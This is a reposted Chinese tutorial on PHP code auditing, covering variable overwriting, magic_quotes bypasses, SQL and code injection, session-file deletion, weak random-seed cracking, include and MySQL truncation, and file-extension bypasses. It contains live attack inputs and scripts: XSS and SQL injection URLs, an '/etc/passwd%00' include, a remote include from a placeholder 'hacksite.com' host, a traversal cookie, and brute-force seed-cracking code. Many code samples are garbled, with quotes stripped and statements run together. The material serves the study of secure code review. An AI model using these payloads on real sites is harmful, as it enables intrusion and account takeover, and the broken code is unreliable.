PHP Code Reviewing Learning

时间:2014-06-17 22:16:26   收藏:0   阅读:512

相关学习资料

http://code-tech.diandian.com/post/2012-11-04/40042129192
http://ssv.sebug.net/高级PHP应用程序漏洞审核技术#
http://80vul.com/
http://www.php-security.org/ 

 

目录

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
    5.1 变量本身的key
    5.2 变量覆盖
        5.2.1 遍历初始化变量
        5.2.2 parse_str()变量覆盖漏洞
        5.2.3 import_request_variables()变量覆盖漏洞
        5.2.4 PHP5 Globals
    5.3 magic_quotes_gpc与代码安全
        5.3.1 什么是magic_quotes_gpc
        5.3.2 哪些地方没有魔术引号的保护
        5.3.3 变量的编码与解码
        5.3.4 二次攻击
        5.3.5 魔术引号带来的新的安全问题
        5.3.6 变量key与魔术引号
    5.4 代码注射
        5.4.1 PHP中可能导致代码注射的函数
        5.4.2 变量函数与双引号
    5.5 PHP自身函数漏洞及缺陷
        5.5.1 PHP函数的溢出漏洞
        5.5.2 PHP函数的其他漏洞
        5.5.3 session_destroy()删除文件漏洞
        5.5.4 随机函数
    5.6 特殊字符
        5.6.1 截断
            5.6.1.1 include截断
            5.6.1.2 数据截断
            5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典 

 

1. 前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。
针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。
我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了"没有绝对的安全",我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

 

2. 传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?"一切输入都是有害的"。
这句话只强调了变量输入,很多程序员把"输入"理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个"纸老虎"!我们换句话来描叙下代码安全:"一切进入函数的变量是有害的"。
PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。
其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

 

3. PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6   目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

 

4. 其他的因素与应用代码审计
很多代码审计者拿到代码就看,他们忽视了"安全是一个整体",代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。
所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

 

5. 扩展我们的字典
下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key
说到变量的提交很多人只是看到了GET、POST、COOKIE等从用户提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理,所以,从本质上来说,变量本身的key值也属于数据输入流中的一员,应纳入审计范围中。

<?php
    //key.php?aaaa‘aaa=1&bb‘b=2 
    //print_R($_GET); 
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
    }
?>

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2

bubuko.com,布布扣

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

5.2 变量覆盖
很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:遍历初始化变量
请看如下代码:

<?php
    //var.php?a=fuck
    $a=hi;
    foreach($_GET as $key => $value) 
    {
        $$key = $value;
    }
    print $a;
?>

很多的WEB应用都使用上面的方式,如Discuz!4.1的WAP部分的代码

$chs = ‘‘;
if($_POST && $charset != utf-8) 
{
        $chs = new Chinese(UTF-8, $charset);
        foreach($_POST as $key => $value) 
    {
                $$key = $chs->Convert($value);
        }
        unset($chs);
...

以及DEDECMS的common.inc.php

foreach(Array(_GET‘,_POST‘,_COOKIE‘) as $_request)
{
    foreach($$_request as $_k => $_v) 
    {
        if($_k == nvarname) 
        {
            ${$_k} = $_v;
        }
        else 
        {
            ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

CMS中的这些代码模块对PHP的本地变量注册进行了模拟实现,自然也引入了同样的变量覆盖安全问题。

0x1: parse_str()变量覆盖漏洞

<?php
    //var.php?var=new
    $var = init;                     
    parse_str($_SERVER[QUERY_STRING]); 
    print $var;
?>
访问:
http://localhost/test/var.php?var=new

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER‘QUERY_STRING‘来提取变量的,对于指定了变量名的我们可以通过注射"="来实现覆盖其他的变量:

<?php
    //var.php?var=1&a[1]=var1%3d222
    $var1 = init;
    parse_str($a[$_GET[var]]);
    print $var1;
?>
访问
http://localhost/test/index.php?var=1&a[1]=var1%3d222

上面的代码通过提交$var来实现对$var1的覆盖。
http://cn2.php.net/manual/zh/function.parse-str.php

0x2: import_request_variables()变量覆盖漏洞
将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。

http://www.php.net/manual/zh/function.import-request-variables.php

这个函数可能导致的漏洞如下:

<?php
    //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
    echo GLOBALS ‘.(int)ini_get("register_globals")."n";
    import_request_variables(GPC);
    if ($_SERVER[REMOTE_ADDR‘] != 10.1.1.1) 
    {
        die(Go away!);
    }
    echo Hello admin!;
?>
访问
http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1

5.3 magic_quotes_gpc与代码安全
首先,我们需要明白的是magic_quotes_gpc的版本情况

PHP 5.3.0之前有效
PHP 5.3.0起废弃
PHP 5.4.0起移除,即不管任何设置均无效

当打开时,所有的 ‘(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等。

但是,PHP中存在某些地方是不受magic_quotes_gpc保护的,认识到这点很重要,因为从安全控制的最佳实践来说,最好的做法就是将某类安全处理代码块封装到一个API中,并在程序中所有涉及到这类风险的位置应用这个API,理论上说,magic_quotes_gpc也应该是要这样,但事实上却不是这样,PHP中不受magic_quotes_gpc保护的变量有:

1. $_SERVER变量
PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是$_SERVER变量中的其他的变量呢?
2. getenv()得到的变量
类似$_SERVER变量 
3. $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:
..
if ( !isset( $HTTP_RAW_POST_DATA ) ) 
{
        $HTTP_RAW_POST_DATA = file_get_contents( php://input );
}
if ( isset($HTTP_RAW_POST_DATA) )
{
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
    ...
}
...
4. 数据库操作容易忘记的地方如:in()/limit/order by/group by
if(is_array($msgtobuddys)) 
{
        $msgto = array_merge($msgtobuddys, array($msgtoid));
        ......
    foreach($msgto as $uid) 
    {
        $uids .= $comma.$uid;
        $comma = ,;
    }
    ......
    $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN 
($uids)");

总的来说,magic_quotes_gpc存在两个主要的问题

1. 宽字节错误导致的注入
2. 覆盖度不完整,没有对程序中所有的输入变量都应用安全处理

所以在PHP5.4之后,PHP就停止了对magic_quotes_gpc的支持,而鼓励开发者遵循最佳安全开发实践来对输入变量进行处理。

0x1: 变量的编码与解码
一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。
这个类型的主要函数有:

1. stripslashes() 
这个其实就是一个decode-addslashes()
2. 其他字符串转换函数:
    1) base64_decode    对使用 MIME base64 编码的数据进行解码
    2) base64_encode    使用 MIME base64 对数据进行编码
    3) rawurldecode    对已编码的 URL 字符串进行解码
    4) rawurlencode    按照 RFC 1738 对 URL 进行编码
    5) urldecode    解码已编码的 URL 字符串
    6) urlencode    编码 URL 字符串
    ...     
3. unserialize/serialize
4. 字符集函数(GKB,UTF7/8...)
    1) iconv()
    2) mb_convert_encoding()

变量和编码本身没有明显的漏洞,它带来的问题是会隐藏攻击者的payload意图,导致WAF、IDS等防御策略失效。

0x2: 魔术引号/转义带来的新的安全问题
首先我们看下魔术引号的处理机制:

1. \-->\2. -->\‘
3. "-->\"
4. null-->\0

这给我们引进了一个非常有用的符号"\","\"符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号(只截取"\"后面的内容)。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1. 得到原字符 
<?php
    ...
    $order_sn=substr($_GET[order_sn‘], 1); 
    //提交                 ‘
    //魔术引号处理         \‘
    //substr               ‘ 
    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . 
$ecs->table(order_info‘). " WHERE order_sn = ‘$order_sn‘ LIMIT 1"; 2. 得到"\"字符 <?php ... $order_sn=substr($_GET[order_sn‘], 0,1); //提交 ‘ //魔术引号处理 \‘ //substr \ $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " .
$ecs->table(order_info‘). " WHERE order_sn = ‘$order_sn‘ and order_tn=‘".$_GET[order_tn‘].""; ..
提交内容: ?order_sn=&order_tn=%20and%201=1/* 执行的SQL语句为: SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE
order_sn = \‘ and order_tn=‘ and 1=1/*

5.4 代码注射

0x1: PHP中可能导致代码注射的函数
PHP中可能导致代码注射的API有:

1. eval
2. preg_replace+/e
3. assert()
4. call_user_func()
5. call_user_func_array()
6. create_function()
7. 变量函数(动态函数)
...

例如:

<?php
    //how to exp this code
    $sort_by=$_GET[sort_by];
    $sorter=strnatcasecmp;
    $databases=array(test‘,test);
    $sort_function =   return 1 * ‘ . $sorter . ($a["‘ . $sort_by . "], $b["‘ . $sort_by . "]);
              ;
    usort($databases, create_function($a, $b‘, $sort_function));

0x2: 变量函数与双引号
对于单引号和双引号的区别,我们需要仔细理解,例如

<?php
    echo "$a\n";
    echo $a\n;
?>

我们再看如下代码:

<?php
    //how to exp this code
    if($globals[bbc_email])
    { 
        $text = preg_replace( array("/\[email=(.*?)\](.*?)\[\/email\]/ies", "/\[email\](.*?)\[\/email\]/ies"), array(check_email("$1", "$2")‘, check_email("$1", "$1")‘), $text);
另外,很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,在需要使用的使用通过Include方式加载进来,这样,如果被加载的文件是变量函数(例如${${...}}这种类型的),这就容易被人注射变量函数进而代码执行了。

5.5 PHP自身函数漏洞及缺陷

0x1: PHP函数的溢出漏洞
大家还记得Stefan Esser大牛的Month of PHP Bugs项目么,其中比较有名的要算是unserialize(),代码如下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . ‘_data‘]);
在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息

http://www.php-security.org/

0x2: session_destroy()删除文件漏洞
测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:

<?php 
    //val.php   
    session_save_path(./);
    session_start();
    if($_GET[del]) 
    {
        session_unset();
        session_destroy();
    }
    else
    {
        $_SESSION[hei‘]=1;
        echo(session_id());
        print_r($_SESSION);
    }
?>

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink(‘sess_/../1.php‘)这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

0x3: 随机函数
总体来说,PHP、以及其他的语言中,和随机数有关的漏洞有以下两种:

1. 随机数密文空间长度问题
2. 随即发生器种子问题

1. 随机数密文空间长度问题: rand() VS mt_rand() 

<?php
    //on windows
    print mt_getrandmax(); //2147483647
    echo "</br>";
    print getrandmax();// 32767
?>

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

<?php
    $a= md5(rand());
    for($i=0;$i<=32767;$i++)
    {
        if(md5($i) ==$a ) 
        {
            print $i."-->ok!!<br>";
            exit;
        }
        else 
        { 
            print $i."<br>";
        }
    }
?>

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。
当然,凡是也不是绝对的,我们说mt_rand()抗穷举性更强也是基于攻击者完全不具有对目标随机系统先验知识的情况下而言的。我们来思考下面这个场景:
比如下面的代码,其逻辑是用户取回密码时,会由系统随机生成一个新的密码,并发送到用户的邮箱:

function sendPSW()
{
    ....
    $messenger = &$this->system->loadModel(system/messenger);
    echo microtime() . "<br/>";
    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);
}

我们发现,这个新生成的$passwd,是直接调用了microtime()后,取其MD5值的前6位。由于MD5是单向的哈希函数,因此只需遍历microtime()的值,再按照同样的算法(这就是算法逆向的思想),即可猜解出$passwd的值。
PHP中的microtime()有两个值合并而成,一个是微秒数,一个是系统当前秒数。

http://www.w3school.com.cn/php/func_date_microtime.asp

因此只需要获取到服务器的系统时间,就可以以此时间作为"基数",按次序递增,即可猜解出新生成的密码。因此这个算法是存在非常严重的设计缺陷的,程序员预想的随机生成密码,其实并未随机。

在这个案例中,生成密码的前一行,直接调用了microtime()并返回在当前页面上,这又使得攻击者以非常低的成本获得了服务器时间;且两次调用microtime()的时间间隔非常短,因此必然是在同一秒内,攻击者只需要猜解微秒数即可。

(思考: 攻击者能利用这个microtime()的弱随机性漏洞进行基于时间"基数"的穷举的一个最重要的前提就是攻击者要获取到服务器的系统时间,也就是在发起攻击前要获取到尽可能靠近关键点的时间,比如说在生成cookie的那一瞬间会取一次microtime(),我们攻击者的目的就是要"穷举"出cookie生成的那一瞬间的microtime(),为了达到这个目的,我们就必须要尽可能的获取到尽可能靠近那个取值点的时间,才能有效的进行"时间"穷举,否则如果时间间隔太大,穷举就会很没效率,还可能触发警报)
这点在发送攻击前一定要注意,因为每种攻击一般都会有一些必要的成立条件的。

http://www.w3school.com.cn/php/func_date_microtime.asp

如果调用时不带可选参数,本函数以 "msec sec" 的格式返回一个字符串,其中 sec 是自 Unix 纪元(0:00:00 January 1, 1970 GMT)起到现在的秒数,msec 是微秒部分。字符串的两部分都是以秒为单位返回的。

0.68454800 1382964876
0.68459400 1382964876

我们发现,后面的"秒数部分"基本是一样的(要达到这点需要攻击者能够做到在关键的附近获取到microtime)。我们要做的就是不断的穷举前面的毫秒部分。

<?php

    //这个输出的作用是模拟攻击者获取到了一个关键点附近的时间
    $timebase = microtime();
    print_r($timebase . "\n");   

    //关键点,基于microtime生成"key"的地方
    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);

    //开始进行穷举
    for($i = 15000;;$i++)
    {
        $tmp = substr(md5(print_r($timebase + $i, true)), 0, 6);
        print_r($tmp . "\n"); 
        if($passwd == $tmp)
        {
            print_r("Found The Key: " . $tmp . "\n"); 
            break;
        }
    }
    print_r($passwd);

?>

2) 随即发生器种子问题: mt_srand()/srand()-weak seeding(by Stefan Esser)

伪随机数是由数学算法实现的,它真正随机的地方在于"种子(seed)"。种子一旦确定后,再通过同一个伪随机数算法计算出来的随机数,其值是固定,多次计算所得值的顺序也是固定的(也就是说,只要种子seed是相同的,之后产生的伪随机数序列就是相同的)。

在PHP 4.2.0之前的版本中,是需要通过srand()或mt_srand()给rand()、mt_rand()"播种"的。
在PHP 4.2.0之后的版本中,不在需要事先通过srand()、mt_srand()来"播种"。

我们可以直接调用mt_rand(),系统会自动播种。但是有的时候,程序猿为了和以前的PHP版本兼容,PHP代码中经常会这样写

mt_srand();
mt_srand((double) microtime() * 100000);
mt_srand((double) microtime() * 1000000);
mt_srand((double) microtime() * 10000000);

这种播种的写法其实是由缺陷的,且不说time()是可以被攻击者获知的,使用microtime()获得的种子范围其实也不是很大。

0 < (double) microtime() < 1 
----->
0 < (double) microtime() * 1000000 < 1000000

变化的范围在0~1000000之间,猜解100万次即可遍历所有的种子。
在PHP 4.2.0之后的版本中,如果没有通过播种函数指定seed,而直接调用mt_rand(),则系统会分配一个默认的种子(默认不是指一个定值,这个值也是随机的)。在32位系统上默认的播种的种子最大值是2^32,因此最多只需要尝试2^32次就可以破解seed。

如果是在同一进程中(apache不能重启),则同一个seed(这个是关键前提)每次通过mt_rand()生成的值都是固定的。

<?php
    mt_srand(1);

    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
?>
1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170

多次访问得到的结果都是一样的,也就是说,当seed确定时,1~N次通过mt_rand()产生的值都没有发生变化。

建立在这个基础上,就可以得到一种针对随机数种子的可行的攻击方式:

1) 通过穷举方法猜解出种子的值
2) 通过mt_srand()对猜解出的种子值进行播种
3) 通过还原程序逻辑,计算出对用的mt_rand()产生的伪随机数的值
<?php
    mt_srand((double) microtime() * 1000000);

    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
?>
每次访问都会得到不同的随机数值,这是因为种子每次都会发生变化。
假设攻击者已知第一个随机数的值:154176006(这在实际情况中很常见,即攻击者只能获得伪随机序列中的一部分的值,要去猜测剩下的其他值),如何猜解出剩下的几个随机数呢?只需要猜解出当前用的种子即可。
<?php
    if($seed = get_seed())
    {
        echo "seed is: " . $seed . "\n";

        mt_srand($seed); 
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
    }
    
    //逆向算法的逻辑,猜解出种子值
    function get_seed()
    {
        for($i = 0; $i < 1000000; $i++)
        {
            mt_srand($i);
            //mt_rand(); 对应是第几次调用mt_rand() 这在实际攻击中也要攻击者事先确认
            $str = mt_rand(); //本例中是第一次调用mt_rand()
            //对比随机数的值
            if($str == 154176006)
            {
                //返回找到的种子seed值
                return $i;
            }
            return false;
        }
    }
?>
seed is: 345466
154176006
1557534108
1434505522
563902658
470748912
1976227824
1450875174
1698782154

对抗这种攻击的方法,在输出时不要输入完整的伪随机树,比如,原本是1450875174,那就进行截断,只输出截断后的数字,这样攻击者就无法从所得到的伪随机数结果反推出seed了

在Stefan Esser的文中还提到一个小技巧,可以通过发送Keep-Alive HTTP头,迫使服务端使用同一PHP进程响应请求,而在该PHP进程中,随机数在使用时只会在一开始播种一次。

在一个web应用中,有很多地方都可以获取到随机数,从而提供猜解种子的可能。Stefan Esser提供了一种"Cross Application Attacks"的思路,即通过前一个应用在页面上返回的随机数值,猜解出其他应用生成的随机数值。

mt_srand((double) microtime() * 1000000);
$search_id = mt_rand();

如果服务器端将$search_id返回到页面上,则攻击者就可能猜解出当前的种子。

这个我之前分析的 Discuz修改用户密码POC的分析和思考
http://www.freebuf.com/articles/web/12088.html
原理是类似的
1) 攻击者能够获得伪随机序列中的其中一个
2) 攻击者必须要确定自己获取的数值是伪随机序列中的哪一个(即序号)
3) 通过逆向算法来穷举出这个伪随机数所用的种子seed
4) 通过这个种子seed再生成其他的伪随机数

这种攻击确实可行,比如一个服务器上同时安装了WordPress和PhpBB,可以通过phpBB来猜解出种子,然后利用WordPress的密码取回功能猜解出新生成的密码。Stefan Esser描述这个攻击过程如下:

1) 使用Keep-Alive HTTP请求在phpBB2论坛中搜索字符串a;
2) 搜索必然会出来很多结果,同时也泄露了search_id;
3) 很容易通过该值猜解出随机数的种子(可以使用phpBB原生的生成算法来逆向推出种子)
4) 攻击者仍然使用Keep-Alive HTTP头发送一个重置的admin密码的请求给WordPress Blog;
5) WordPress mt_rand()生成确认链接,并发送到管理员邮箱;
6) 攻击者根据已算出的种子,可以构造出此确认链接;
7) 攻击者确认此链接(仍然使用Keep-Alive头),WordPress将向管理员邮箱发送新生成的密码;
8) 因为新密码也是由mt_rand()生成的,攻击者仍然可以计算出来;
9) 从而攻击者最终获取了新的管理员密码

5.6 特殊字符

0x1: 截断
其中最有名的数大家都熟悉的null字符截断

0x2: include截断

<?php 
    include $_GET[action‘].".php"; 
?>
提交"action=/etc/passwd%00"中的"%00"将截断后面的".php"

除了"%00"之外,还可以通过提交"action=http://www.hacksite.com/evil-code.txt?"这里"?"实现了"伪截断"。

除了利用WEB请求中的参数分隔来进行"伪截断"之外,还可以进行超长字符串的截断,即通过注入超长字符串,将原本的后半段内容挤出去

<?php
////////////////////
////var5.php代码:
////include $_GET[‘action‘].".php"; 
////print strlen(realpath("./"))+strlen($_GET[‘action‘]);  
///////////////////
ini_set(max_execution_time‘, 0);
$str=‘‘;
for($i=0;$i<50000;$i++)
{
        $str=$str."/";
 
        $resp=file_get_contents(http://127.0.0.1/test/index.php?action=1.txt.$str);
        //1.txt里的代码为print ‘hi‘;
        if (strpos($resp, hi‘) !== false)
    {
                print $i;
                exit;
        }
}
?>

经过测试字符"."、"/"或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET[‘action‘])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了 

0x3: 数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities
这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability
当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:
$result = mysql_query("SELECT * from test_user where user=‘$user‘ ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) 
{
        die("already exist");
}

这两种漏洞都有可能导致账户重复注册、管理员帐号提权等漏洞。

0x4: 文件操作里的特殊字符
文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对"空格"和"."等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对".\..\"进行系统转跳等等。例如:

<?php
    ..
    //Is this code vul?
    if( eregi(".php",$url) )
    {
        die("ERR");
    }
    $fileurl=str_replace($webdb[www_url],"",$url);
    .....
    header(Content-Disposition: attachment; filename=‘.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用".php"后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交".p$webdbwww_urlhp"就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:

<?php
    ..
    $fileurl=str_replace($webdb[www_url],"",$url);
    if( eregi(".php",$url) )
    {
        die("ERR");
    }

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

<?php
    for($i=0;$i<255;$i++) 
    {
        $url = index.ph.chr($i);
        $tmp = @file_get_contents($url);
        if(!empty($tmp)) echo chr($i)."\r\n";
    }  
?>
ok

我们在windows系统运行上面的代码得到如下字符

1. < 
2. > 
3. P
4. p

都可以打开目录下的index.php。这可以被作为一个文件后缀名绕过的思路。

 

6. 怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

1. 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典
2. 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
3. fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),有很多问题都可以简单的fuzz脚本可以测试出来
4. 分析php源代码,发现新的漏洞函数"特性"或者漏洞,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数"特性"或者漏洞。 
5. 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问

 

Copyright (c) 2014 LittleHann All rights reserved

 

 

PHP Code Reviewing Learning,布布扣,bubuko.com

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!